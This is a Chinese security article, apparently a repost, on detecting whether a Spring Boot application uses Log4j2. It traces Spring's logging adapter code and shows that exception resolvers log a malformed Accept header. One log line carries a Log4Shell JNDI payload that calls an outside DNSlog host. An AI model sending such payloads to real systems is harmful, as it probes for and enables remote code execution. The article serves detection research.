点击上方蓝字 关注我吧
引言
Spring日志相关
-
调用静态的getLog方法,通过LogAdapter适配器来创建具体的Logs对象:
public abstract class LogFactory {
public static Log getLog(String name) {
return LogAdapter.createLog(name);
}
-
LogAdapter在static代码中根据日志系统jar包类是否存在/可以被加载,识别当前系统的日志实现方式,默认使用JUL,然后使用 switch case的方式结合之前的判断来调用具体的日志适配器,创建具体Log对象
static {
if (isPresent("org.apache.logging.log4j.spi.ExtendedLogger")) {
if (isPresent("org.apache.logging.slf4j.SLF4JProvider") && isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else {
logApi = LogAdapter.LogApi.LOG4J;
}
} else if (isPresent("org.slf4j.spi.LocationAwareLogger")) {
logApi = LogAdapter.LogApi.SLF4J_LAL;
} else if (isPresent("org.slf4j.Logger")) {
logApi = LogAdapter.LogApi.SLF4J;
} else {
logApi = LogAdapter.LogApi.JUL;
}
}
public static Log createLog(String name) {
switch(logApi) {
case LOG4J:
return LogAdapter.Log4jAdapter.createLog(name);
case SLF4J_LAL:
return LogAdapter.Slf4jAdapter.createLocationAwareLog(name);
case SLF4J:
return LogAdapter.Slf4jAdapter.createLog(name);
default:
return LogAdapter.JavaUtilAdapter.createLog(name);
}
}
-
最后根据具体的日志框架对相应的方法进行包装适配,即可调用具体的日志系统方法。以log4j为例:
private static class Log4jLog implements Log, Serializable {
private static final String FQCN = LogAdapter.Log4jLog.class.getName();
private static final LoggerContext loggerContext = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
private final ExtendedLogger logger;
public Log4jLog(String name) {
LoggerContext context = loggerContext;
if (context == null) {
context = LogManager.getContext(LogAdapter.Log4jLog.class.getClassLoader(), false);
}
this.logger = context.getLogger(name);
}
public boolean isFatalEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.FATAL);
}
public boolean isErrorEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.ERROR);
}
public boolean isWarnEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.WARN);
}
public boolean isInfoEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.INFO);
}
public boolean isDebugEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.DEBUG);
}
public boolean isTraceEnabled() {
return this.logger.isEnabled(org.apache.logging.log4j.Level.TRACE);
}
public void fatal(Object message) {
this.log(org.apache.logging.log4j.Level.FATAL, message, (Throwable)null);
}
public void fatal(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.FATAL, message, exception);
}
public void error(Object message) {
this.log(org.apache.logging.log4j.Level.ERROR, message, (Throwable)null);
}
public void error(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.ERROR, message, exception);
}
public void warn(Object message) {
this.log(org.apache.logging.log4j.Level.WARN, message, (Throwable)null);
}
public void warn(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.WARN, message, exception);
}
public void info(Object message) {
this.log(org.apache.logging.log4j.Level.INFO, message, (Throwable)null);
}
public void info(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.INFO, message, exception);
}
public void debug(Object message) {
this.log(org.apache.logging.log4j.Level.DEBUG, message, (Throwable)null);
}
public void debug(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.DEBUG, message, exception);
}
public void trace(Object message) {
this.log(org.apache.logging.log4j.Level.TRACE, message, (Throwable)null);
}
public void trace(Object message, Throwable exception) {
this.log(org.apache.logging.log4j.Level.TRACE, message, exception);
}
private void log(org.apache.logging.log4j.Level level, Object message, Throwable exception) {
if (message instanceof String) {
if (exception != null) {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message, exception);
} else {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, (String)message);
}
} else {
this.logger.logIfEnabled(FQCN, level, (org.apache.logging.log4j.Marker)null, message, exception);
}
}
}
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
Spring异常Exception相关
-
AbstractHandlerExceptionResolver抽象类 -
AbstractHandlerMethodExceptionResolver抽象类 -
ExceptionHandlerExceptionResolver类 -
DefaultHandlerExceptionResolver类 -
ResponseStatusExceptionResolver类 -
SimpleMappingExceptionResolver类
ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex);
public abstract class AbstractHandlerExceptionResolver implements HandlerExceptionResolver, Ordered {
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//logException这里进行了日志输出。
this.logException(ex, request);
}
return result;
}
}
public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
分析验证
@ResponseStatus
的异常类,将其中的异常信息描述直接返回给客户端。即使把对应的内容写入到了log message中,也有一定的触发条件,不符合稳定触发的预期,同理,AbstractHandlerMethodExceptionResolver,该类主要处理Controller中用@ExceptionHandler
注解定义的方法。也有一定的前提。public class DefaultHandlerExceptionResolver extends AbstractHandlerExceptionResolver {
public static final String PAGE_NOT_FOUND_LOG_CATEGORY = "org.springframework.web.servlet.PageNotFound";
protected static final Log pageNotFoundLogger = LogFactory.getLog("org.springframework.web.servlet.PageNotFound");
public DefaultHandlerExceptionResolver() {
setOrder(2147483647);
setWarnLogCategory(getClass().getName());
}
protected ModelAndView doResolveException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) {
try {
if (ex instanceof HttpRequestMethodNotSupportedException)
return handleHttpRequestMethodNotSupported((HttpRequestMethodNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotSupportedException)
return handleHttpMediaTypeNotSupported((HttpMediaTypeNotSupportedException)ex, request, response, handler);
if (ex instanceof HttpMediaTypeNotAcceptableException)
return handleHttpMediaTypeNotAcceptable((HttpMediaTypeNotAcceptableException)ex, request, response, handler);
if (ex instanceof MissingPathVariableException)
return handleMissingPathVariable((MissingPathVariableException)ex, request, response, handler);
if (ex instanceof MissingServletRequestParameterException)
return handleMissingServletRequestParameter((MissingServletRequestParameterException)ex, request, response, handler);
if (ex instanceof ServletRequestBindingException)
return handleServletRequestBindingException((ServletRequestBindingException)ex, request, response, handler);
if (ex instanceof ConversionNotSupportedException)
return handleConversionNotSupported((ConversionNotSupportedException)ex, request, response, handler);
if (ex instanceof TypeMismatchException)
return handleTypeMismatch((TypeMismatchException)ex, request, response, handler);
if (ex instanceof HttpMessageNotReadableException)
return handleHttpMessageNotReadable((HttpMessageNotReadableException)ex, request, response, handler);
if (ex instanceof HttpMessageNotWritableException)
return handleHttpMessageNotWritable((HttpMessageNotWritableException)ex, request, response, handler);
if (ex instanceof MethodArgumentNotValidException)
return handleMethodArgumentNotValidException((MethodArgumentNotValidException)ex, request, response, handler);
if (ex instanceof MissingServletRequestPartException)
return handleMissingServletRequestPartException((MissingServletRequestPartException)ex, request, response, handler);
if (ex instanceof BindException)
return handleBindException((BindException)ex, request, response, handler);
if (ex instanceof NoHandlerFoundException)
return handleNoHandlerFoundException((NoHandlerFoundException)ex, request, response, handler);
if (ex instanceof AsyncRequestTimeoutException)
return handleAsyncRequestTimeoutException((AsyncRequestTimeoutException)ex, request, response, handler);
} catch (Exception handlerEx) {
if (this.logger.isWarnEnabled())
this.logger.warn("Failure while trying to resolve exception [" + ex.getClass().getName() + "]", handlerEx);
}
return null;
public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) {
//判断是否需要异常解析
if (!this.shouldApplyTo(request, handler)) {
return null;
} else {
this.prepareResponse(ex, response);
ModelAndView result = this.doResolveException(request, response, handler, ex);
if (result != null) {
if (this.logger.isDebugEnabled() && (this.warnLogger == null || !this.warnLogger.isWarnEnabled())) {
this.logger.debug(this.buildLogMessage(ex, request) + (result.isEmpty() ? "" : " to " + result));
}
//日志输出
this.logException(ex, request);
}
return result;
}
}
protected void logException(Exception ex, HttpServletRequest request) {
if (this.warnLogger != null && this.warnLogger.isWarnEnabled()) {
this.warnLogger.warn(this.buildLogMessage(ex, request));
}
}
/**
* A {@code ContentNegotiationStrategy} that checks the 'Accept' request header.
*
* @author Rossen Stoyanchev
* @author Juergen Hoeller
* @since 3.2
*/
public class HeaderContentNegotiationStrategy implements ContentNegotiationStrategy {
/**
* {@inheritDoc}
* @throws HttpMediaTypeNotAcceptableException if the 'Accept' header cannot be parsed
*/
@Override
public List<MediaType> resolveMediaTypes(NativeWebRequest request)
throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = request.getHeaderValues(HttpHeaders.ACCEPT);
if (headerValueArray == null) {
return MEDIA_TYPE_ALL_LIST;
}
List<String> headerValues = Arrays.asList(headerValueArray);
try {
List<MediaType> mediaTypes = MediaType.parseMediaTypes(headerValues);
MediaType.sortBySpecificityAndQuality(mediaTypes);
return !CollectionUtils.isEmpty(mediaTypes) ? mediaTypes : MEDIA_TYPE_ALL_LIST;
}
catch (InvalidMediaTypeException ex) {
throw new HttpMediaTypeNotAcceptableException(
"Could not parse 'Accept' header " + headerValues + ": " + ex.getMessage());
}
}
}
2021-12-26 11:01:31.782 WARN 11873 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}]: Invalid mime type "text/html${jndi:ldap://fyh9pj.dnslog.cn:1389/}": Invalid token character '{' in token "html${jndi:ldap://fyh9pj.dnslog.cn:1389/}"]
其他
@Aspect
@Configuration
@Log4j2
public class LogConsole {
// 定义切点Pointcut
@Pointcut("execution(* com.tools.toolmange.handler.*.*(..))")
public void executeService() {
}
/**
* 在切点之前织入
*/
@Before("executeService()")
public void doBefore(JoinPoint joinPoint) throws Throwable {
// 开始打印请求日志
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
if (request == null)
return;
String username = "";
try{
username = SecurityContextHolder.getUserDetails().getUsername();
}catch (Exception e){
log.info("打印请求参数,用户登陆过期 无法获取请求参数");
}
// 打印请求相关参数
log.info("========================================== Start ==========================================");
//请求人
log.info("UserCode :"+ username );
// 打印请求 url
log.info("URL : {}", request.getRequestURL().toString());
// 打印 Http method
log.info("HTTP Method : {}", request.getMethod());
// 打印调用 controller 的全路径以及执行方法
log.info("Class Method : {}.{}", joinPoint.getSignature().getDeclaringTypeName(), joinPoint.getSignature().getName());
// 打印请求的 IP
log.info("IP : {}", request.getRemoteAddr());
// 打印请求入参
log.info("Request Args : {}", JSONUtil.toJsonStr(joinPoint.getArgs()));
}
/**
* 在切点之后织入
*/
@After("executeService()")
public void doAfter() throws Throwable {
log.info("=========================================== End ===========================================");
// 每个请求之间空一行
log.info("");
}
/**
* 环绕
*/
@Around("executeService()")
public Object doAround(ProceedingJoinPoint proceedingJoinPoint) throws Throwable {
long startTime = System.currentTimeMillis();
Object result = proceedingJoinPoint.proceed();
// 执行耗时
log.info("Time-Consuming : {} ms", System.currentTimeMillis() - startTime);
return result;
}
}
原文始发于微信公众号(SecIN技术平台):原创 | 浅谈Log4j2在Springboot的检测